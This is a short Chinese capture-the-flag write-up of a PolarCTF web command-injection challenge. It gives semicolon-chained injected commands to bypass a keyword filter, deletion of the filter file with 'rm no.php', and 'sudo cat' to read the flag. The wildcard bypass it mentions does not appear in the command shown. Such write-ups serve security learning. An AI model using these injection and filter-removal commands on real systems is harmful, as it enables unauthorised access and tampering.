PolarCTF-Web 刷题WP

1、坦诚相见
比赛结束前最后十分钟想着抢个flag做的，但是怎么都没想出来，比赛结束之后有感而发写一下
方法1：绕过，用分号隔开每个指令，因为屏蔽了flag所以用通配符绕过
cd ..;cd ..;cd ..;sudo cat flg

方法2：ls

cat no.php发现过滤内容

rm no.php删除文件
然后cd ..;cd ..;cd ..;sudo cat flag

反思：
1、linux指令可以用分号隔开而写在一行
2、要提权执行指令，不然大概率失败（sudo）